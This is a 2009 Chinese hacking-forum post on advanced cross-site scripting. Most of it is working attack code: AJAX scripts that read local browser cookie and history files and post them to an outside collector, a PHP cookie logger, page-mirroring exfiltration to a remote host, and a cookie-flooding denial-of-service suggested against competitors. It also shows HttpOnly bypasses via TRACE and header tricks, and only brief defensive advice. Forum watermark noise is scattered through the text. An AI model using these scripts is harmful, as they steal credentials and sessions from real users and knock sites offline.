XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑
, |- G8 l3 |8 w! R" Z) |& o  q
XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
' g- H# N2 N/ A" ^9 J2 ]2 u+ RBy racle@tian6.com   
http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
7 N# l: f% ^1 G9 ~
; u0 C& T- g; m

-------------------------------------------前言---------------------------------------------------------


本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
! Y7 z, x8 w3 \) S

如果你还未具备基础XSS知识,以下几个文章建议拜读:
5 _) _6 l$ v6 @, H. ]) @http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
4 j. r# N1 o! Jhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
; b% P* N- ~6 jhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
http://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
' o" c) ?: F* T# ?. d9 w* Dhttp://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持


' |& @+ S6 v& S+ [$ @. f  Y# y9 g

如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.

# V7 a; J/ e2 G% ~7 q希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.

如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,

Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大
! M7 g' Q. F/ B0 ]2 m
& X$ o0 k0 A+ l) r* [) ?9 T! D7 eQQ ZONE,校内网XSS     感染过万QQ ZONE.
) q; k4 O2 F4 f- c: S
# R4 W# G  J0 z3 G  _8 vOWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

..........
复制代码------------------------------------------介绍-------------------------------------------------------------
; M# K' U) R% M4 \: O  `
. u$ d, E7 C' A1 `2 `4 \7 q什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.


& C5 {3 b& I! ^/ b
4 r  Q7 S8 [" B! ?! |跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.
7 m, A2 Y' x! P# F, o* Q
" Q4 I- Y) c5 }: \4 d& Y0 O! G
8 y! k! ?8 s/ y2 D
如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
0 T" }/ i9 B! X# b6 k: O复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
我们在这里重点探讨以下几个问题:
6 Q3 j; B5 N. X: n  ?- a
1        通过XSS,我们能实现什么?

' h5 q5 Q) s/ g8 K% ?; P2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
& n0 Z) h; U% Z2 {' m' D! ]
$ N+ }% W* o" v1 j) k; U; u. p6 d! X3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
0 s7 n" b' q) a
9 E! i+ m. c( D0 v( ^- h9 X0 |5 K4        XSS漏洞在输出和输入两个方面怎么才能避免.
) @! v; E/ t; {/ p: D+ U3 w


& }  L& F; G2 S. m* V------------------------------------------研究正题----------------------------------------------------------
9 Q/ @  V$ B5 Z
6 R6 `, T6 I3 ~, I# ~" r
2 [# f7 P1 l+ E
通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
, r7 s' O4 D% Y# u% m+ P5 O复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
8 O$ x/ Y! l7 J1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
* `: }$ w( D. |+ B; Z3 x. v2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
2 L3 ?0 o% i7 J- A! v" _/ o4:Http-only可以采用作为COOKIES保护方式之一.
; O  W9 H8 ^! ^' A
* a& r0 k2 N; t4 l# B; z: X, w+ v

( Y5 b* U. q! U! K# }+ s2 G1 n1 |
1 n( _; M6 I3 o
(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
( H6 Y/ W3 }/ d
" Z+ F( S' A& h. ^" \我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)

+ W0 I3 W2 j9 {0 j

5 O# I# b4 |6 Y( E- Y    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
0 k) w+ n5 Z, _& E
: H7 i1 O1 c1 d* |' I: d/ ~; v
8 w( M6 G, L- W! J, Z* q
    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。



6 v; t. k$ N7 J5 {% |5 O5 H+ ]    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}
  D9 L6 G4 i7 q! Q$ ^7 F

$ r( v' L) A! J, l+ c, L6 D
% K" M/ j8 q9 d    function ajax_obj(){

7 z+ ~6 X- U! o& L7 c# S7 i' S$ J2 B    var request = false;
( ^8 o+ w9 I! e) J0 ]
3 C! X0 ]! _& Z6 `+ a    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
, o8 c3 s; u# [4 O  h* K! m: ?
5 E& [' n" E7 }3 A7 Q. B( _$ ?) [    } else if(window.ActiveXObject) {
: Y8 h0 Z+ d" r7 w3 x
* {& H$ T0 i4 l% x9 Z* t# \( f4 G    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',


! |& g" H9 Q  Z
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
* f8 \# M( j5 f0 \; d6 L% J
* T2 D2 @; I$ \6 Z1 ^+ r    for(var i=0; i<versions.length; i++) {

    try {

    request = new ActiveXObject(versions);

: s8 w& U9 h  ^  u" u# t    } catch(e) {}
9 p  V" h; k0 m4 D$ V9 N1 c  H
4 H3 w  r7 d1 D- S) y4 ^# r    }

" H$ M% F8 D8 B, H- m+ ^% F1 ]4 j/ V    }
# J  [& Y- z4 ?% u/ o
    return request;

    }

6 a. C8 n1 F- I9 K7 D/ `5 |% B    var _x = ajax_obj();
4 W+ r7 ~9 }) e$ C9 k- V3 d  Y
    function _7or3(_m,action,argv){

    _x.open(_m,action,false);

1 S9 Y/ W3 ?) {& U    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
7 V4 d# \8 i* K  a0 ^8 ]
4 Z, e+ s3 ^8 G. a- C/ S    _x.send(argv);
: W* k9 J3 ^6 f% r
    return _x.responseText;

# {/ |  v4 v0 d5 a    }

; v) O* f" S7 m; a  @0 i
7 g1 A) w9 `2 S) }# j; c  ^
    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
% u6 {0 i) ]" a. ?2 I8 `6 k9 H
0 W5 L& j! g  U0 u0 Z

    </script>
% G) N( R* G) ?( r( B) D复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

& ~$ P, h2 s/ l    function $(x){return document.getElementById(x)}

. v; {. S$ Q9 [0 }3 ]  {

    function ajax_obj(){

    var request = false;

    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
1 r; Q+ p* R% |" ^) a
4 F/ C1 s$ W  Y0 [    } else if(window.ActiveXObject) {

    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
8 g3 j8 k0 \9 E  y
7 X& c$ ]% }, a( D
+ @7 P6 F1 n/ N3 t( I
& a: H  V% f. r6 ?3 q  f7 ?    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

, d! _; T5 i' o9 c    for(var i=0; i<versions.length; i++) {
9 S/ D' ^# Y+ i
( S% o$ |5 E; T1 W) Y* |    try {
  z+ x. c9 m" L5 d+ B' t( t, W4 ^
    request = new ActiveXObject(versions);

    } catch(e) {}

    }

    }
3 n8 W; o7 t6 u/ L" V
    return request;
9 Q1 d' a5 {. s& a" O1 p
4 ^% `7 \" m3 h" H/ d# e$ f    }

+ W. e: E( r  l% y$ y* ]) O# y    var _x = ajax_obj();

. t" W: W7 ~: y& P) f    function _7or3(_m,action,argv){
+ H2 t- @; F4 Z
    _x.open(_m,action,false);

0 N4 \' |1 l' R! K5 c: b0 Z    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

    _x.send(argv);
) a; R1 x& ]# I+ b3 I
& A6 L0 r* A5 q    return _x.responseText;
  D9 V( |: q" }# \8 j8 G$ m9 ^
" A+ r- K, ]7 t) b  w5 K8 E( C6 q    }


2 V' }* n  S$ o9 T
    var txt=_7or3("GET","1/11.txt",null);

) V1 ^6 Z: V) H0 S+ J    alert(txt);

9 P, h+ z9 w, ^% m4 P

    </script>
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”

( ]# P4 V2 A7 @

. P1 d$ k% v5 T( H- ~8 X& tChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"

3 Y4 ]' K+ j: p! e
7 ?; ^* ^1 T2 |9 t7 f$ }
. n' k/ |+ g" i8 {<?   
8 b" e8 y( i2 j3 u& K# N0 {
3 r6 T: R/ x' J, ~9 X: u7 Y/ i/*  

! n4 R8 R- _, ~* T9 b8 W5 F/ S( y     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
2 |+ ~! `+ i! k+ n7 y/ F
     www.inbreak.net   

& X+ Q) E; X1 J     author voidloafer@gmail.com 2009-4-22   
6 z) L, g  [% Y
     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
8 B5 Q2 l) u2 Z, G- Z( ]
*/  

header("Content-Disposition: attachment;filename=kxlzx.htm");   
; s" F- F, F9 `/ P/ u( c3 m, \1 V
* f& f. W0 A8 hheader("Content-type: application/kxlzx");   
- {6 @+ Z, N% @0 K, l9 l
/*  
" s3 A3 _0 k2 t+ R
     set header, so just download html file,and open it at local.  
0 s1 C; P% `7 K0 x% p8 C
*/  
" e/ _7 ^, H' _3 s4 H% v" S
?>   
9 |) G& D; b, P* D# O
5 i8 L( ~  W- i3 j" `<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
; X1 m0 m2 E. c. q* g. E
     <input id="input" name="cookie" value="" type="hidden">   
2 Z2 N) a! q% P; V
</form>   

<script>   

  v( e) C. J6 P- l* Wfunction doMyAjax(user)   
8 e9 \8 Q/ l" `) i$ q
{   
$ M/ C( l5 ?# c# _& _2 O
var time = Math.random();   
; t. J  ]( J5 s# u3 e2 b, \& ?
/*  
) W& V  X* y! B/ L* F, k
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  

and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  

and so on...  
  O5 g& Q, l7 p' O0 p$ z2 E
*/  

. P8 D  |4 n* r8 g4 Yvar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
' l3 A& I4 O: G1 C7 Q, a
   

startRequest(strPer);   



}   
0 G& b$ Q2 |  O* [4 g
# n& K) J- _8 g) V; H   

( l5 s$ A+ p( K" rfunction Enshellcode(txt)   

{   

! F6 Z) q1 {/ m8 M, ]# jvar url=new String(txt);   

var i=0,l=0,k=0,curl="";   
1 h' N4 A5 Z- Y* r6 |8 F' z
( V( `( X2 J# j, nl= url.length;   
! y; {; u& t$ s
for(;i<l;i++){   

6 i/ i# {: m7 M6 Y& dk=url.charCodeAt(i);   
/ C7 ]7 W" [  ~6 z- A6 d/ V- m& `
if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   

if (l%2){curl+="00";}else{curl+="0000";}   
4 }% v% z, R" x% R
curl=curl.replace(/(..)(..)/g,"%u$2$1");   

; \3 K4 j0 V5 _& Xreturn curl;   
& X4 J, F3 A5 X" [- P2 e
}   

' A9 G& ^. P( S2 A) _) r3 r! B   
$ w+ {* w% R, u: M* T
   

7 l. t1 R# v, o- K4 ^var xmlHttp;   
6 f2 z) A4 K8 f) Z& [+ d
$ Q  Q5 j' s& ^* Jfunction createXMLHttp(){   

     if(window.XMLHttpRequest){   

" D0 h# G. H, m3 mxmlHttp = new XMLHttpRequest();           
7 u8 [6 x" E+ q$ _6 T* v* c
     }   

     else if(window.ActiveXObject){   

xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
, P3 D% J9 g# s) }
: m8 f; F3 N  B, Y4 |" j) y     }   
  p' F) u0 t! V! u
}   

8 B$ f3 ^) l" [* P+ @   

- w) i: d2 V. Q1 t! y$ R% j. J" {function startRequest(doUrl){   

! p# J  F, \# s: c8 D   

     createXMLHttp();   

/ z; H9 `  q3 r% `1 H$ u

     xmlHttp.onreadystatechange = handleStateChange;   
. ^, E7 Q; O) }* R% [, `+ o. \- l

: w0 w8 Q( u8 f$ \: d. r' n
/ Y. B  H/ B& d+ [" [     xmlHttp.open("GET", doUrl, true);   



8 o+ d: n" f6 G. i0 I  }     xmlHttp.send(null);   
- H, r$ @9 ?3 f, H

' H" B1 `* d5 l( s+ z
" c2 s( B( n- h: j0 d
6 n1 @2 {! j! @; Y; c' U: W
4 L$ S$ S+ ^8 S; e0 Z}   

   
/ ~4 ~/ Q, W! X( ~- d) k
function handleStateChange(){   

: x6 b0 F" W8 R4 u. b; n! V     if (xmlHttp.readyState == 4 ){   
- {+ T3 x7 k- T; {4 m
     var strResponse = "";   
: @; a2 g6 X6 X! e) ^/ m& ~4 Z$ y
     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
4 L! J- b+ [% S/ L. O
        

     }   

}   

" M5 W% {" N) [. y% e: A   
* n- A) d; k4 A; h  M4 C& X
   

function framekxlzxPost(text)   

2 o5 E3 K! p7 M( w( e9 o% z( H{   

     document.getElementById("input").value = Enshellcode(text);   
: n" X$ ]' N/ K7 Y* P( ?
     document.getElementById("form").submit();   
4 T4 z0 B% A' o; K
- S5 \8 m6 X$ @4 X; C}   
+ P4 G; ~( _1 @# I9 o
   

+ x# {0 \3 v9 {2 NdoMyAjax("administrator");   

   
* g( }7 ]( W+ L3 V2 _! Y; V
0 ^% ?& a4 t  q2 R8 h  V0 G/ [</script>
复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
  Q  G' }* R3 h4 C" F: {
var xmlHttp;  
" [- Z) \6 i3 ^' s) e
function createXMLHttp(){  

+ O; T$ Z: O7 q     if(window.XMLHttpRequest){  
: C" U; k2 x1 q# ~' R  O' g
         xmlHttp = new XMLHttpRequest();         

     }  
* |( b6 N8 Y' r3 X- d& F  N4 s, l
     else if(window.ActiveXObject){  

! H* Z$ f8 P& m  H9 a& Q         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  

# R/ k: B" |  e; V$ ~     }  

( E6 p. M- F( P7 i}  
4 M% z0 v$ M7 R- v) t5 w
' h+ m' `" I" V; K- D   

5 t& f1 E" n8 X8 Ofunction startRequest(doUrl){  
2 r! Y, p% p  t! m
8 \8 t3 w1 q5 n2 u9 s           
2 r+ a, T: N" B$ |& @+ q# m: `. \
+ r7 c! C  ^! F8 E7 A" C     createXMLHttp();  

1 a% x# `7 v6 A" }6 b      
+ U, @% I9 q  G+ p
     xmlHttp.onreadystatechange = handleStateChange;  

$ L0 I/ R5 ~$ T" g      
9 _6 b3 R$ ]4 @
     xmlHttp.open("GET", doUrl, true);  

' m8 V  h+ `3 j' e" ~      
7 B+ ^$ y( U9 I0 |* P  o
     xmlHttp.send(null);  
/ ^% e1 c  X) N3 g
      
$ ?7 S% M( g9 [% P1 M
8 G% F9 E& j1 P. G      

}   

+ I" j  w) s7 Y* ?7 J- e   
8 Q) ?% Y' A. N" J! n
function handleStateChange(){  
7 L- B* O, N' Z( a% a3 o! D- M! N
2 A2 N; ]( S7 Y9 s     if (xmlHttp.readyState == 4 ){  
  X' J. Z- D) t, b6 ?# {- d/ M
3 ]9 a: D; m0 Y- y9 Y4 I" k2 a             var strResponse = "";  
& @" p* e+ {# V. l& f
             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
1 s0 B  X/ e% o( k( U2 G
( b# J- m# |6 _% z6 s               

     }  
* Q9 _" @5 x8 L0 {- {
& Q. B/ q! w3 x% d}  

   

function doMyAjax(user,file)  
6 [& F1 N  C; t" m1 l4 G5 S( I# v
{  

         var time = Math.random();  

4 M! I8 R; W6 f7 L2 i           
1 T) d5 {! m  s* t( \& L$ n/ M
/ k7 l; |  ]1 g* |" a         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  
5 C6 V  C: d3 x) o5 e. l1 {& B5 {
* B- r# R7 h3 |           
- t& a) E4 r; v/ G/ S
. O( s9 G% S+ i: J7 p% b         startRequest(strPer);  
* l* {+ {1 m. Y+ h2 \0 f
      

; O, ^" V5 J1 g  s' {4 s! I& D' r" o4 s}  
+ D- m6 h; I8 A- z# D
   

function framekxlzxPost(text)  
  h9 k3 [) \% K" t' ~/ m9 Y
; r, D- ^* {) r6 _1 `4 K; w{  
  U, Z0 r: {) x$ H* p/ ?! f2 L
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
, x& `1 j3 T: w3 V$ \
, S. }2 V2 B: X4 }- F% h5 I+ J     alert(/ok/);  
' F. C1 G5 b0 j5 m
$ g' d8 V5 X6 s8 @5 o}  
3 a- J$ T$ e/ m$ w5 I
   
2 y+ c# S; c( y" ~# a4 G
doMyAjax('administrator','administrator@alibaba[1].txt');  
5 Y! A2 i  ^  Y: ]
   
+ V# V. ~+ y2 b0 f
8 |; _& s% J6 N3 s$ `; |* q; f</script>

3 {* T2 M5 |6 P% O1 [5 Q

9 u# J, M- B$ q6 \3 O

8 C! O- z( O4 qa.php
- ]+ J- m: J; V* G
4 L7 w% u' V" G" A- j

<?php      

   
5 W: l& w( T; R7 i- @, n/ g! g
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

1 \% N/ |8 w/ `5 s7 @0 [  
% ]9 U+ u$ D1 u: y. u& Q; _3 X1 J
$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     
6 S2 R6 }2 V3 ^1 o0 \
fwrite($fp,$_GET["cookie"]);      
7 X) N/ v) r# [1 F
fclose($fp);   

?>
复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
7 }" a5 p6 Y! G* C( b利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.

' B/ h" j) e" j* r代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
) e" [) T: A: T4 y$ r3 P% N/ K
/ B* U2 i1 m# i2 W# {( J" _, I6 y//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
' z2 @4 C; Z8 o6 n
2 z3 R! u9 f- ufunction getURL(s) {

; @9 U1 r" y4 A' svar image = new Image();
$ O/ O0 [* K" o9 i$ ^
image.style.width = 0;

! |, A. Y% I% G- o/ W0 Fimage.style.height = 0;

image.src = s;
# j; i% e( b( X3 k4 J, _0 C! }
}

' v+ Q; }2 i7 n9 x, igetURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
3 e. P$ b# Q" x# q% p& T
* j: O1 n0 z% p7 Y$ wvar metastr = "AAAAAAAAAA"; // 10 A
- Z, o& Q# M* N! s, D
var str = "";
/ V  i; B+ T* S
3 d. M6 l$ ]' K% iwhile (str.length < 4000){

    str += metastr;
4 p/ b: g1 U& v5 f4 j( y" P5 X/ C
: d) c8 x' P) Y; q: A! h}
. E+ Y7 B: i* {  h3 o

2 Y5 G4 ^' W9 _5 o
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS
. _& S$ o/ Q. ]; \9 q: q
</script>
" Q4 _, E9 _% k; k, x1 s+ P& g
详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
: ?: D; E! P* ?% @5 yserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
+ _  v# ~5 }$ A/ f4 a) N
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
# d: a( N- e- {4 K攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
3 c6 ~7 g6 z, s( A" u3 R

& E/ i9 S1 d, v3 w7 ]+ [
* r4 S4 H' [' ~6 `

# k- G" R6 a$ e& T
(III) Http only bypass 与 补救对策:

. t; n" ?$ {5 F* G! O( f9 i什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
% j2 Y! Z" ~, Y% K+ M以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">

<!--
- w! G8 m/ U) v5 A! o
+ w2 K7 s; Y; s+ F) I3 n0 A4 bfunction normalCookie() {
" Y" }$ D, N0 n5 A2 ~2 ]
0 k; p& z2 I8 e7 {& L8 j  Ddocument.cookie = "TheCookieName=CookieValue_httpOnly";

alert(document.cookie);

8 \/ Q( x2 D* Q1 d* ]# }) Y# o}
2 e3 V& c( y  \' a* B




7 A1 ]. G* |7 F4 A2 m8 Y2 Wfunction httpOnlyCookie() {

/ N2 c4 \, v& C& n0 rdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

alert(document.cookie);}

, n; U/ s' y5 q
( Y+ l4 G6 F& B4 ]0 w
& |3 h- G' L$ {& z5 A0 ^//-->
: X7 T3 p' O+ F2 B0 J
</script>


. f( k2 N2 {) V  m3 X
' D* t, t7 T" Y% Z" T& H<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>

: P9 |0 P+ m. X4 i<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
! _! I  t8 d, p- o  J4 ?复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>

) A" a% C, V2 _, F& u0 `
/ j5 ?, F8 h; |/ {, A8 Z
var request = false;

1 q" O. ]6 T/ `/ [+ a        if(window.XMLHttpRequest) {
7 p. c8 `' i5 i, I7 v$ N  t/ N
            request = new XMLHttpRequest();

            if(request.overrideMimeType) {

  Q4 v& a% W0 V$ J4 W* w( |0 V5 z                request.overrideMimeType('text/xml');
6 {# G1 L% v% ]6 F
$ y( L3 O. ^) G; `& E' C            }
- ^( d7 J+ u6 j
1 L2 b- i# z* A4 k        } else if(window.ActiveXObject) {
: F% t# f+ E% s2 F# I' B) c2 ^
            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
, ]7 R" {4 R" R
            for(var i=0; i<versions.length; i++) {

                try {

* T7 Z' V) r8 Z3 K! Q                    request = new ActiveXObject(versions);
2 M" ~4 O' l3 d6 S; ?; v
/ U. Z' g/ n6 T# m3 {, c                } catch(e) {}

            }

: o8 ?$ B; M% x        }
9 f$ e# h) z  q& M& Q  z" a
xmlHttp=request;

xmlHttp.open("TRACE","http://www.vul.com",false);
8 K5 B) }; Z; K2 v0 [; V
# H) e0 O  b* g/ nxmlHttp.send(null);

xmlDoc=xmlHttp.responseText;

& x' c- R, F6 W+ ialert(xmlDoc);
1 T- h) J+ g. L6 p1 c  A
6 V( {5 ]& v; p+ r& x3 U9 h</script>
% f$ m/ r: h. b复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
# A/ z$ k7 J6 M! L/ W. {
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

2 {3 S( b) f6 w% ~& WXmlHttp.open("GET","http://www.google.com",false);
$ h' E( c8 r6 }" u
8 r: H# y; E, hXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

0 a# g, Y) Z0 H- q7 e' U1 s' d7 cXmlHttp.send(null);

var resource=xmlHttp.responseText
# N0 s3 }# b: f" D% T& g
resource.search(/cookies/);

......................
  B# ?+ b; O" x7 N: |2 a0 p8 Z
8 ]2 N( E' j6 ~' w8 Z. J/ x* X2 T# n</script>
( `0 u5 y/ F" l  Z+ Z5 j- T3 S


5 ?0 P: [  J+ R9 o

# O+ v7 T% I. o) \/ H如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求

; ?6 @2 c3 F+ E0 H  m[code]

. n. h! B& J( c# F) O& R/ c5 b6 IRewriteEngine On
9 ~1 q$ B0 f# l7 Y1 F) O. o
RewriteCond %{REQUEST_METHOD} ^TRACE

7 _5 o9 r" E  u+ O9 X5 lRewriteRule .* - [F]
! d/ T2 K  R; \( U5 t

- P" t9 P6 L" l0 r6 t, x. A
Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求

6 @: P; k0 m6 S- i6 v$ kacl TRACE method TRACE
# ^8 G* C; x6 \* F4 u$ c
7 [. }' J6 Z! V, K! [) w...

http_access deny TRACE
3 ^! E; J6 D+ C, Q) v+ L0 s复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);

: k+ @. A$ `* i) T( d  pXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

6 J5 Y& u/ k2 U4 o- ~, v- F+ p</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
2 T6 @: @& Z+ d2 N6 @' l
% n8 {. F2 X1 C, A  Gvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");


